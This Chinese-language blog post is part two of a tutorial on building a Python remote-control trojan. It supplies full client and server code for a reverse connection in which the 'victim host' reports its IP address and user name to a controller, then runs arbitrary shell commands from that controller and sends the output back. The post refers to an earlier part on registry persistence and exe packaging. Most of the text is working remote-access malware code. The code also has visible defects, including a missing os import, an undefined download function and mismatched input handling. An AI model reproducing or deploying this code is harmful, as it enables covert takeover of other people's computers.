1. 程式人生 > 其它 >Python從零開始編寫控制程式(二)

Python從零開始編寫控制程式(二)

# Python從零開始編寫控制程式(二)
前言:終於考完期末了,鴿了很久的遠控Python終於有時間更新下了。上篇文章裡,我們解決了登錄檔寫入和Python編寫為exe程式的問題。
那麼這篇文章我們來研究如何完成客戶端與服務端的通訊,並且完成命令執行及檔案下載的功能。
客戶端和服務端的通訊,在本篇部落格裡我們依賴Socket庫來完成。
在之前的部落格中,我詳細的寫了Socket通訊的原理、使用,連結如下:

https://www.cnblogs.com/culin/p/14406973.html

一般來說,遠控存在正向連結和反向連結兩種情況。我們編寫的遠控程式,一般選擇反向連結。因為正向連結會因為對方是在內網的情況,或者存在防護軟體而失效。所以客戶端一般是受害主機,而服務端則是我們的控制主機。
在實現命令執行的功能時,我們需要使用到Python的Subprocess模型,這是一個非常強大的命令執行模組,原理是通過生成子程序來執行命令。
本次部落格裡我們著重研究Subprocess.call()函式,此函式可以接受陣列,字串來執行命令。不同的是如果要接受字串來作為命令執行,需要將shell引數設定為True,具體命令形式如下:

subprocess.call('dir',shell=True)

執行結果如下:
![](https://img04.sogoucdn.com/app/a/100520146/bf33ae0faaf0695ee6c0b20a5f861d41)

同時,subprocess.call的返回值為布林型別,返回值為0表示命令執行成功,否則命令執行失敗。[之前我以為命令執行結果會直接返回,其實實際情況不是這樣的]。
另外,subprocess.check_output可以將執行結果以字串的形式返回,詳細的使用方法如下

res=subprocess.check_output('dir',shell=True)
print(res.decode("GBK","ignore"))

注意如果使用解碼函式,並設定好正確的引數,就會出現返回結果以ASCII碼的形式出現,這是非常反人類的一件事,切記切記。
實際情況中,subporcess.call還有更多的使用情況,譬如根據stdin,stdout,stderr等控制代碼進行更復雜的操作,但是在此我們不進行嘗試(一切以實現目標為主,刪繁就簡).
在本篇文章中,我們著重解決命令執行的問題,而先忽略多執行緒控制、檔案下載這兩個功能。
命令執行的思路:服務端接受命令,傳送給客戶端,並將客戶端的返回結果列印到控制檯上。
    客戶端接受服務端發來的命令,並且返回結果。
對應部分程式碼如下:
客戶端:

def ExecComman(Client):
    while True:
        try:
            comman=Client.recv(BUFFSIZE).decode()
            print(comman)
            if comman=='exit':
                break
            comList=comman.split()
            if comList[0]!='cd':
                result = subprocess.check_output(comman, shell=True)
                result=result.decode("GBK","ignore")
                result=bytes(result,encoding="utf-8")
                if result==b'':
                    Client.sendall('Exec Successful!'.encode())
                else:
                    Client.sendall(result)
        except Exception as e:
            Client.sendall("Failed to exec".encode())
        continue
服務端:
def ExecComman(client,raddr):
    while True:
        command=raw_input("[Command]:>>>")
        if command=='q' or command=='exit':
            client.sendall('exit'.encode())
            break
        client.sendall(command.encode())
        result=client.recv(BUFFSIZE)
        print(result)

同時我們要注意到這裡的編碼問題,因為sendall只能傳送bytes資料,所以資料的encode和decode是每次傳送和接受資料前都要考慮到的問題。 總體程式碼如下:

#客戶端:
import socket
import subprocess
#設定主控端資訊
HOST="192.168.198.130"
PORT=4440
BUFFSIZE=1024
ADDR=(HOST,PORT)
def ExecComman(Client):
    while True:
        try:
            comman=Client.recv(BUFFSIZE).decode()
            print(comman)
            if comman=='exit':
                break
            comList=comman.split()
            if comList[0]!='cd':
                result = subprocess.check_output(comman, shell=True)
                result=result.decode("GBK","ignore")
                result=bytes(result,encoding="utf-8")
                print(result)
                if result==b'':
                    Client.sendall('Exec Successful!'.encode())
                else:
                    Client.sendall(result)
            elif comList[0]=='cd':
                os.chdir(comList[1])
                Client.sendall(os.getcwd().encode())
        except Exception as e:
            Client.sendall("Failed to exec".encode())
        continue
if __name__ == '__main__':
    #連線主控端
    tcpClient=socket.socket()
    tcpClient.connect(ADDR)
    #傳送客戶端資訊,包括主機名,IP地址,
    tcp_ip=tcpClient.getsockname()
    tcp_name=subprocess.check_output('whoami',shell=True)
    ClientInfo="IP:"+tcp_ip[0]+" 使用者:"+tcp_name.decode("GBK","ignore")
    ClientInfo=bytes(ClientInfo,encoding="utf-8")
    tcpClient.sendall(ClientInfo)
    #監聽伺服器端的輸入
    print("[*]Waiting for the server command")
    while True:
        info=tcpClient.recv(BUFFSIZE).decode()
        if info=='1':
            ExecComman(tcpClient)
        elif info=='2':
            FileDownload()
-------------------------------------------------------------------
#服務端#
-*- coding:utf-8 -*-
import socket
import subprocess
BUFFSIZE=1024
def ExecComman(client,raddr):
    while True:
        command=raw_input("[Command]:>>>")
        if command=='q' or command=='exit':
            client.sendall('exit'.encode())
            break
        client.sendall(command.encode())
        result=client.recv(BUFFSIZE)
        print(result)
if __name__== '__main__':
    tcpServer_ip="192.168.198.130"
    tcpServer_port=4440
    tcpServer_addr=(tcpServer_ip,tcpServer_port)
    #Start to listen
    try:
        print("Try")
        tcpServer=socket.socket()
        tcpServer.bind(tcpServer_addr)
        tcpServer.listen(1)
    except socket.error as e:
        print(e)
    client,raddr=tcpServer.accept()
    client_info=client.recv(BUFFSIZE)
    print(client_info)
    print("Please Select The Command")
    print("[1]Command Exec")
    print("[2]File Transfer")
    choice=input("[0]>>>")
    print(choice)
    if choice==1:
        client.sendall('1'.encode())
        ExecComman(client,raddr)  

那麼初步的命令執行功能已經實現了,在此功能的基礎上,我們可以新增檔案下載的功能,或者進行多執行緒多程序的優化。這些功能在後續的部落格中會進行相應補充,希望小夥伴可以自己進行相關函式的除錯。